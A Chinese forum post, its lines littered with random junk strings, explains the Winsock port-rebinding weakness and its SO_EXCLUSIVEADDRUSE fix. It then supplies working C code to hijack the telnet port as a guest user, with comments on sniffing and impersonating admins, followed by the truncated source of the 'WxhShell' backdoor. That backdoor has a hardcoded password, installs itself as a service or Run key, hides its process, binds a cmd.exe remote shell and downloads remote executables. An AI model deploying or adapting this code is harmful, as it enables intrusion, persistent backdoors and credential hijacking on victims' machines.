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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: q/;mxq$ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |o!<@/iH= X[@>1tl saddr.sin_family = AF_INET; *uEU9fX ]VwAHT&je saddr.sin_addr.s_addr = htonl(INADDR_ANY); `b\4h/~ n:*+pL; bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7y[B[$P _Fz)2h,3 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Ku&(+e ,1~Zqprn 这意味着什么?意味着可以进行如下的攻击: //J:p,AF o8s&n3mY}y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `4k;`a *s%s|/ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6,@M0CX 2Cr+Z(f 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;euWpE;E\# a@8knJ| 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 3_h%g$04s PA,j;{,(b 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _I8-0DnOM *kKGsy 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Rw/G =zV@2 Y\op9Fw 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 E_H1X'|qS4 R=e`QMq #include Q'8v!/"}p{ #include l w%fY{ #include CC)9Ks\ #include y.O? c&! DWORD WINAPI ClientThread(LPVOID lpParam); A%GJ|h,i int main() ko5\*!|:lj { 8p5'}Lq WORD wVersionRequested; ze4/XR DWORD ret; '@fk(~| WSADATA wsaData; 26Yg?:kP BOOL val; >)N#n` SOCKADDR_IN saddr; Xs!eV SOCKADDR_IN scaddr; plf<O5' int err; JHQ8o5bEQp SOCKET s; 4;*V^\',9
SOCKET sc; mD=?C int caddsize; Fx@
{] HANDLE mt; kqyMrZ# DWORD tid; xJ"KR:CD> wVersionRequested = MAKEWORD( 2, 2 ); }!d}febk_ err = WSAStartup( wVersionRequested, &wsaData ); xO.7cSqgw if ( err != 0 ) { $(NfHIX printf("error!WSAStartup failed!\n"); ~Fx[YPO, return -1; q6ikJ8E8b } G`
8j ^H, saddr.sin_family = AF_INET; {c J6Lq& w1}[lq@ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S1+#qs{5a .Gv~e!a8 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ym6ec|9; saddr.sin_port = htons(23); (8*lLZ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D~y]d { <N*>9S,} printf("error!socket failed!\n"); x$Dv&4 return -1; */\.-L{h } 869`jA&7" val = TRUE; e7qT; //SO_REUSEADDR选项就是可以实现端口重绑定的 t/$xzsoJZr if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3Yf$WE8#l { (]V.#JM printf("error!setsockopt failed!\n"); GmHsO/ return -1; O-B3@qQ. h } =&p bh //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; G8&'*7Bb //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Yn#8uaU //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 PWmz7*/ ,qfa,O if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y{"E)YY { vr vzV ret=GetLastError(); I,S'zHR printf("error!bind failed!\n"); dL\8^L return -1; KF'M4P } &Ch)SD listen(s,2); |HEw~x<= while(1) t,+S~Cj| { L!p|RKz9X caddsize = sizeof(scaddr); s +GF-kJ* //接受连接请求 C:K\-P9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N:<O if(sc!=INVALID_SOCKET) Y]lqtre*Y { D=\|teA& mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vqs~a7E-P if(mt==NULL) ,,J3 h { @Dy.HQ~ printf("Thread Creat Failed!\n"); ;FmSL#]I break; wY95|QS } d"78:+ } "tR.'F[n4P CloseHandle(mt); zb" hy"hKw } _R<HC closesocket(s); K$.zO4 WSACleanup(); moR]{2Cd{ return 0; vh HMxOZ; } n1t(ns| DWORD WINAPI ClientThread(LPVOID lpParam) | rvr Sab) { 3wE8y& SOCKET ss = (SOCKET)lpParam; 9PJDT] SOCKET sc; Z C93C7lJ unsigned char buf[4096]; rTm{-b)r SOCKADDR_IN saddr; 9yh@_~rZ long num; r83~o/T@ DWORD val; !7oy%{L DWORD ret; {X$Mwqhpp; //如果是隐藏端口应用的话,可以在此处加一些判断
SoX V //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 R
u5&xIQ saddr.sin_family = AF_INET; X{
=[q|P saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ic}ofBK saddr.sin_port = htons(23); J$Epj if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #H`y1zm { h7$!wf!I printf("error!socket failed!\n"); ;N\?]{ L return -1; qJA.+q.e$e } ='0!B]<G val = 100; vR$5ItnT if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ? st#6=M { 0I((UA/7Zs ret = GetLastError(); kKM%
return -1; b..$5 } Z-|C{1}A if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pG
@iR*? { qfu2}qUX~% ret = GetLastError(); p]&Q`oh return -1; "^z=r]<5
} 2[po~}2-0 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _|ib@Xbin { =LxmzQO# printf("error!socket connect failed!\n"); / yi :Q0 closesocket(sc); a1SOC=.M; closesocket(ss); 1RbYPX return -1; $0}bi:7 } rbPs~C-[ while(1) 'cN#rHPB6 { )F9r?5}v4x //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *]WXM.R8 //如果是嗅探内容的话,可以再此处进行内容分析和记录 =-LX)|x} //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %wW5)Y I num = recv(ss,buf,4096,0); M7R&J'SAY if(num>0) L_"(A
#H: send(sc,buf,num,0); 5Kj4!Ai else if(num==0) j7#GqVS' break; hxVM]e[ num = recv(sc,buf,4096,0); 1:zu$|%7 if(num>0) K9Xd?
]a send(ss,buf,num,0); a~F@3Pd else if(num==0) %:KV2GP break; ]t)M}^w } ;&6PL]/d closesocket(ss); ^YJA\d@ closesocket(sc); 'S7@+kJ return 0 ; :IVMTdYf } 5w)^~#' t *
vg]Yc d[e:}1 ========================================================== gH^$Y~Lx :$i:8lz
下边附上一个代码,,WXhSHELL |4.o$*0Y Q\#{2!I ========================================================== Xm:=jQn C6UMc}
9h #include "stdafx.h" ; [%}Xx S"TMsi #include <stdio.h> ESxC{
" #include <string.h> iW1ih QX #include <windows.h> N~;
khS] #include <winsock2.h> e9@fQ #include <winsvc.h> L\Fu']l #include <urlmon.h> M=[q+A @=NVOJy}c #pragma comment (lib, "Ws2_32.lib") G:c8`*5Q #pragma comment (lib, "urlmon.lib") Dg>'5`& y|;8 :b32 #define MAX_USER 100 // 最大客户端连接数 FK@ f' #define BUF_SOCK 200 // sock buffer OKZam ik~ #define KEY_BUFF 255 // 输入 buffer `+hy#1] \gp,Txueb #define REBOOT 0 // 重启 #i +P(xV #define SHUTDOWN 1 // 关机 ECS<l*i57& cl8_rt #define DEF_PORT 5000 // 监听端口 c7g.|R %kZ~xbY #define REG_LEN 16 // 注册表键长度 YR|(;B #define SVC_LEN 80 // NT服务名长度 &=z1$ih>2\ hr<7l
C // 从dll定义API %<wQ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fmnRUN= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
N8kb-2 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RUS7Z~5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xS~yH[k lbKv // wxhshell配置信息 *>GIk`!wM struct WSCFG { jTd4 H) int ws_port; // 监听端口 //X e*0 char ws_passstr[REG_LEN]; // 口令 ^A11h6I int ws_autoins; // 安装标记, 1=yes 0=no 7O8V1Tt char ws_regname[REG_LEN]; // 注册表键名 iM?I
/\ char ws_svcname[REG_LEN]; // 服务名 Bbl)3$`, char ws_svcdisp[SVC_LEN]; // 服务显示名 |5O >>a() char ws_svcdesc[SVC_LEN]; // 服务描述信息 ' 1P=^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =j|v0&
AGC int ws_downexe; // 下载执行标记, 1=yes 0=no 23}BW_m char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" vh|Tb5W< char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $Yx6#m}[M nr<WO~Xw~ }; O1x0[sy Z:_m}Ya| // default Wxhshell configuration ^MW\t4pZ struct WSCFG wscfg={DEF_PORT, 85r)>aCMn "xuhuanlingzhe", ,J~,ga~ 1, ="3a%\ "Wxhshell", ]z-']R; "Wxhshell", ^%n124 "WxhShell Service", QL)>/%yU "Wrsky Windows CmdShell Service", ?ID* /u|X "Please Input Your Password: ", .k# N7[q= 1, jIAW-hc] " http://www.wrsky.com/wxhshell.exe", $ZQlIJZ "Wxhshell.exe" CS~=Z>6EjA }; YPF&U4CN ]j& FbP)3 // 消息定义模块 N<KKY"?I' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -Wl)Lez@ char *msg_ws_prompt="\n\r? for help\n\r#>"; gB(9vhj$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 0s860Kn char *msg_ws_ext="\n\rExit."; uk`T+@K char *msg_ws_end="\n\rQuit."; vP3K7En char *msg_ws_boot="\n\rReboot..."; (bg}an char *msg_ws_poff="\n\rShutdown..."; -'80>[}q/ char *msg_ws_down="\n\rSave to "; jg~_'4f# eQ$N:] char *msg_ws_err="\n\rErr!"; oJP<'l1 char *msg_ws_ok="\n\rOK!"; S3R|8?| =y?#^ char ExeFile[MAX_PATH]; R<Z^L~) int nUser = 0; (N,nux(0k HANDLE handles[MAX_USER]; F|ETug
n int OsIsNt; FQ+8J 7 ? ouV SERVICE_STATUS serviceStatus; tY{;
U#9 SERVICE_STATUS_HANDLE hServiceStatusHandle; OZG0AX+=# aQ&uC )w // 函数声明 m])Lw@#9W int Install(void); Oz:D.V
3~ int Uninstall(void); '4$lL6ly> int DownloadFile(char *sURL, SOCKET wsh); F
vj{@B! int Boot(int flag); +Qt[1Xq void HideProc(void); ]x1p!TSU int GetOsVer(void); ^rL,&rk int Wxhshell(SOCKET wsl); K6E}";; void TalkWithClient(void *cs); !]yQ1@)*' int CmdShell(SOCKET sock); rqF"QU= l int StartFromService(void); f:xUPH?+ int StartWxhshell(LPSTR lpCmdLine); [1NaH i#k-)N _$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .
=&Jo9 VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6A}eSG3 !&W|myN^ // 数据结构和表定义 (/'h4KS@ SERVICE_TABLE_ENTRY DispatchTable[] =
KZ]r8 { .%_)*NUZ {wscfg.ws_svcname, NTServiceMain}, 4 &|C} {NULL, NULL} @\ }sb] }; TfL4_IAG. X&s7%]n+ // 自我安装 :ztyxJv1 int Install(void) CQ<8P86gt { RYt6=R+f char svExeFile[MAX_PATH]; J=):+F= HKEY key; 5lO^;.cS, strcpy(svExeFile,ExeFile); %8
qSv%_ t')h{2&&!2 // 如果是win9x系统,修改注册表设为自启动 (]OFS;% if(!OsIsNt) { f7Zf}1| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "MTWjW*6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z4g+2f7h-X RegCloseKey(key); eO'xkm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )`<6taKx@n RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @YCv RegCloseKey(key); zHV|-R return 0; ~^x-ym5 } )U'yUUi } IdF$Ml#[h } 4Hk6b09 else { C,.-Q"juH HM):" // 如果是NT以上系统,安装为系统服务 y<|)'( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h`lmC]X_ if (schSCManager!=0) lcCJ?!lsSW { 6%%PP8.F SC_HANDLE schService = CreateService dQai4e>[ ( 8^y= H= schSCManager, U%q:^S%#eG wscfg.ws_svcname, WV2~(/hX& wscfg.ws_svcdisp, v{.\iIg N SERVICE_ALL_ACCESS, 66
N) SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b~j~ SERVICE_AUTO_START, 847 R
SERVICE_ERROR_NORMAL, {|XQO'Wg svExeFile, a!D*)z Y NULL, -1CEr_(P^ NULL, ]%Y\ZIS NULL, %@P`` NULL, 8[~~gYl NULL [^M|lf ); x<@kjfm5 if (schService!=0) HVGr-/ { 0Z,{s158L CloseServiceHandle(schService); O~6Q;q P CloseServiceHandle(schSCManager); 8)Zk24:])_ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #X5hSw; strcat(svExeFile,wscfg.ws_svcname); xor TL8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T/5"}P` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <raG07{!* RegCloseKey(key); V!xwb:J return 0; ;R!*I% } Ft)
lp>3gv } 5z~\5x CloseServiceHandle(schSCManager); <BPRV> 0X } 4>YU8/Rw } ]~8v^A7u XVF^,Yf return 1; q &
b5g ! } TP{Gt.e T(V8;! // 自我卸载 (z2Z)_6L*L int Uninstall(void) d=y0yq{L { 2e.N"eLNt HKEY key; IA2GUnUhu b=1%pX_ if(!OsIsNt) { z,x"a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1ef'7a7e8 RegDeleteValue(key,wscfg.ws_regname); w;+ br RegCloseKey(key); AW/wI6[T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /$:U$JVb?l RegDeleteValue(key,wscfg.ws_regname); .T$D^?G!D RegCloseKey(key); 13a(FG return 0; (a }J$: } vbp-`M( } ;v_V+t<$ } O:^'x*} else { %b=p< h'( .*!#98pT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %iJ|H(P if (schSCManager!=0) *,lh:
{ ax_YKJ5#P SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^=0$ if (schService!=0) 9cfR)*Q { [@3SfQ if(DeleteService(schService)!=0) { "OL~ul5 CloseServiceHandle(schService); X>t3|h CloseServiceHandle(schSCManager); 9P.(^SD][z return 0; eh<rRx"[ } ]*;F. pZ CloseServiceHandle(schService); Go <' } [N:BM% FQ CloseServiceHandle(schSCManager); ^PqMi:htc } :}9j^}"c3 } k|FSz#Y
OJ/SYZ.r return 1; :<GfET Is } 7tgFDLA WeC(w+}p // 从指定url下载文件 &g0g]G21*I int DownloadFile(char *sURL, SOCKET wsh) :#$F)]y'\ { J#aVo&.Y HRESULT hr; <MdGe1n char seps[]= "/"; #hJQbv=B" char *token; }+0z,s~0. char *file; 9&K/GaG char myURL[MAX_PATH]; .N"~zOV<# char myFILE[MAX_PATH]; I4D<WoU;dJ [se^.[0, strcpy(myURL,sURL); p<5!02yQ\ token=strtok(myURL,seps); OOB^gf}$' while(token!=NULL) vv.PF~: { hCC}d0gf`n file=token; =yqHC<8: token=strtok(NULL,seps); ;S JF%@x } vT7g< &U"X$aFc GetCurrentDirectory(MAX_PATH,myFILE); B4yh3cf strcat(myFILE, "\\"); N:x0w+Ca strcat(myFILE, file); {DBIonY]; send(wsh,myFILE,strlen(myFILE),0); >F3.c%VU]w send(wsh,"...",3,0); Ld(NhB'7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `4
UlJ4<` if(hr==S_OK) !M;A*:- return 0; jGD%r~lN else (}gcY return 1; _%Z P{5D> V1utUGJV } 2dbRE:v5 ]V<-J // 系统电源模块 {/}^D- int Boot(int flag) B~TN/sd { @6&JR<g*t HANDLE hToken; ;h~er6& TOKEN_PRIVILEGES tkp; V1<`%=%_W r]LCvsVa if(OsIsNt) { %8FN0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ut&/\k=N LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6 h'&6 tkp.PrivilegeCount = 1; ;7rv tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3z[$4L'. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ue0s&WF| if(flag==REBOOT) { Q2s&L]L= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ctI{^f: return 0; Gt~JA0+C)7 } u~F~cDu else { Eg8i _s~: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z%:1) return 0; uLV BM]Qj } '4u v3)P } }9&9G% else { 8eyl,W=dn if(flag==REBOOT) { HI!4 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OW`STp! return 0; Gv~p } T PYDs+U else { <DZcra if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yA;W/I4 return 0; YV([2 } 8_Z/ o5s } 6E^~n
`w<J25 return 1; QUOKThY? } g1|w? pI1 3M<!?%v\A // win9x进程隐藏模块 ~V+l_: void HideProc(void) 3?E}t*/ { dGkgaC+ &Lt@} 7$8 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C2/}d? bki if ( hKernel != NULL ) h6M;0_' { \Tm}mAvK/o pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SY
_='9U ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &s
VadOBQ FreeLibrary(hKernel); K2ewucn } WzlC*iv I>"Ci(N return; A6p`ma $L } {a"RXa &]iKriG // 获取操作系统版本 $f-hUOuyo int GetOsVer(void) li/aN { @8gEH+r OSVERSIONINFO winfo; LwdV3 vb# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5Op_*N{V GetVersionEx(&winfo); 3!#/k+,C if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]P1YHw9 return 1; `9 [i79U else 'uC59X4l return 0; t9u|iTY
f! } y0IK,W'&? $H*/;`,\[ // 客户端句柄模块 -=5)NH
t int Wxhshell(SOCKET wsl) ?<~WO? { MCnN^ SOCKET wsh; QK <\kVZ8 struct sockaddr_in client; ]WL|~mG DWORD myID; h-XY4gq/ NFyMY#\] while(nUser<MAX_USER) &<1`O { F
?=9eISLJ int nSize=sizeof(client); BD*G1k_q wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $>w/Cy if(wsh==INVALID_SOCKET) return 1; m5-9yQ=. ]gP5f @` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QLr9dnA if(handles[nUser]==0) e7k%6'@ closesocket(wsh); 4hAJ!7[A. else 3S"] u} nUser++; KIus/S5
RC } (S9f/i^ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,XB%\[pKe C`K^L=8`{ return 0; jP=Hf=:$ } qd6fU^)i J YmAn?o- // 关闭 socket h9CIZU[Nh void CloseIt(SOCKET wsh) .C!vr@@] { f
j<H6|3 closesocket(wsh); VmvQvQ/9R nUser--; bToq$%sCg ExitThread(0); wCb(>pL0 }
f[jNwb 658^"]Rk'/ // 客户端请求句柄 {eHAg<+ void TalkWithClient(void *cs) H3O@9YU { dULS^i@@ 1}g:|Q SOCKET wsh=(SOCKET)cs; %SA!p; char pwd[SVC_LEN]; 9- )qZ char cmd[KEY_BUFF]; @*O?6> char chr[1]; yoS? s int i,j; j1U 5~%^ u, kU$ while (nUser < MAX_USER) { OAe#Wf!c tP(h9|[N if(wscfg.ws_passstr) { bcz-$?] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l-O$ m //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `
\ZqgX4 //ZeroMemory(pwd,KEY_BUFF); iHBB,x i=0; 74J@F2g}? while(i<SVC_LEN) { "/+zMLY 2qU&l|> // 设置超时 s~L</Xvo
fd_set FdRead; S4A q' struct timeval TimeOut; Qc"'8kt FD_ZERO(&FdRead); D"l+iVbBP FD_SET(wsh,&FdRead); 8q^o.+9 TimeOut.tv_sec=8; g>j| ]6 TimeOut.tv_usec=0; sqO<J$tz int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7"2b H if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?M}S|dsmE p
EusTP if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qx)?buAij pwd =chr[0]; _8fA?q= if(chr[0]==0xd || chr[0]==0xa) { 9F##F-%x pwd=0; 46x.i;b7 break; )D@~|j: } E^V| i++; [r-}bp'Gp } ?6N3tk-2 $yb@
Hhx> // 如果是非法用户,关闭 socket r o\1]`6 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /@Y CA}|/ } J"CJYuGW,
4na8 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x]4Kkpqm send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cxyM\@QB3 eN>0wd5{L while(1) { p,!$/Q+l 8OFj0S1r` ZeroMemory(cmd,KEY_BUFF); \:_3i\2p oy\B;aAK // 自动支持客户端 telnet标准 H3KTir"on j=0; nHst/5dA while(j<KEY_BUFF) { xvm5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h5~n 1qX cmd[j]=chr[0]; ]k%PG-9 if(chr[0]==0xa || chr[0]==0xd) { dl|gG9u4Q cmd[j]=0; P~ 0Jg#
V break; HSz"
tN } (?i[jO||B j++; ( [E]_Q } A o/vp-e D4Nu8Wr$ // 下载文件 e x?v
`9 if(strstr(cmd,"http://")) { $P {K2"Oc send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]\c,BWC@e if(DownloadFile(cmd,wsh)) + ,4"
u send(wsh,msg_ws_err,strlen(msg_ws_err),0); e@]-D
FG else ~)X[(T{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %w}gzxN^ } wSXVyg{ else { dQ:cYNm *I*i>==Z switch(cmd[0]) { LJTo\^* q9*MNHg} // 帮助 <M+R\SH- case '?': { CboLH0Fa send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !!,0'c break; OSDy'@
} \=e8%.#@J // 安装 /bVZ::A&_ case 'i': { ;y>a
nE}n{ if(Install()) x4kWLy7Sz send(wsh,msg_ws_err,strlen(msg_ws_err),0); /@oLe[Mz$ else n=sXSxl send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1TN}GsAj break; a\5FAkI } WI[:-cv // 卸载 2KJ1V+g@a6 case 'r': { `N87h" if(Uninstall()) ]N)DS+V/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ERMa# L else ` lpz-"EEV send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1Y/$,Oa5 break; \Sy7"a } _t>"5s&i // 显示 wxhshell 所在路径 )}lRd#V case 'p': { _^S]g mE char svExeFile[MAX_PATH]; C"pB"^0 strcpy(svExeFile,"\n\r"); 7}o/: strcat(svExeFile,ExeFile); HIc a nk send(wsh,svExeFile,strlen(svExeFile),0); OM83S|1s break; uGH?N } LF<wt2?* // 重启 -_A$DM!^=w case 'b': { MmoR~~* send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t%VDRZo7 if(Boot(REBOOT)) ]`o!1( GA send(wsh,msg_ws_err,strlen(msg_ws_err),0); > 0> else {
Qd`T5[b\ closesocket(wsh); ]ya; v ' ExitThread(0); RrV>r<Z"Q } 'S4)?Z break; e{w>%)rcP } :QQlI // 关机 Wr~yK? : ] case 'd': { i775:j~zx0 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ub$n |xn if(Boot(SHUTDOWN)) ,J=P,]( send(wsh,msg_ws_err,strlen(msg_ws_err),0); YV'pVO'_+ else { ~2*9{ closesocket(wsh); p3951-D ExitThread(0); I[Ic$ta } .K8w8X/3 break; Sb&lhgW]c } S -&)p@4 // 获取shell 8/%6@Y"Y* case 's': { W[''Cc. CmdShell(wsh); !7p}C-RZp closesocket(wsh); vsyWm.E ExitThread(0); |F$BvCg break; ,_v|#g@{ } ^q[gxuL_ // 退出 `FF8ie 8L case 'x': { D)b}f` send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,^s0</ve CloseIt(wsh); _r Y,}\ break; ;@mRo`D` } Gs0H@ // 离开 k#>hg#G case 'q': { R`'1t3p0i send(wsh,msg_ws_end,strlen(msg_ws_end),0); \}*k)$r closesocket(wsh); - xm{&0e) WSACleanup(); dbdM"z4 exit(1); p^)B0[P9 break; Z9`TwS@x[ } ~W0(1#
i } Yg|lq9gD } -#:zsu jQs>`P-CM // 提示信息 (#\pQ51 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TV59(bG.2 } *<4Em{rZ5 } %ati7{2! qi[Z,& return; kQ>^->w } AC%JC+ MHj,<|8Q // shell模块句柄 Q\Kx"Y3i int CmdShell(SOCKET sock) Td\o9 { TYns~X_PR STARTUPINFO si; \Q$HXK ZeroMemory(&si,sizeof(si)); O~Wt600{E si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k\r(=cex6 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;T +pu>) PROCESS_INFORMATION ProcessInfo; j+4H}XyE char cmdline[]="cmd"; H U+ I CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W
!}{$ return 0; 62'1X" } yl&UM
qI( _`-1aA&n~ // 自身启动模式 F_3:bX int StartFromService(void) AvJ,SQt { ?Ke
eHMu typedef struct wEW4gz{s { ! ]`
#JAL7 DWORD ExitStatus; VaONd0Z I DWORD PebBaseAddress; +_l^ #?o, DWORD AffinityMask; 9nSWE W DWORD BasePriority; wBk@F5\< ULONG UniqueProcessId; KDP H6 ULONG InheritedFromUniqueProcessId; C(T;>if0NH } PROCESS_BASIC_INFORMATION; U977#MXf tAu4haa4; PROCNTQSIP NtQueryInformationProcess; )~)*=u/ G[Lpe static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XMN:]!1J static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7 Cqcb>\X bru/AZ# de HANDLE hProcess; (oz$B0HO: PROCESS_BASIC_INFORMATION pbi; 6X2PYJJZ uGU;Y'W) HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); * *H&+T/B if(NULL == hInst ) return 0; SGc8^%-` o|pT;1a" g_pEnumProcessModules = 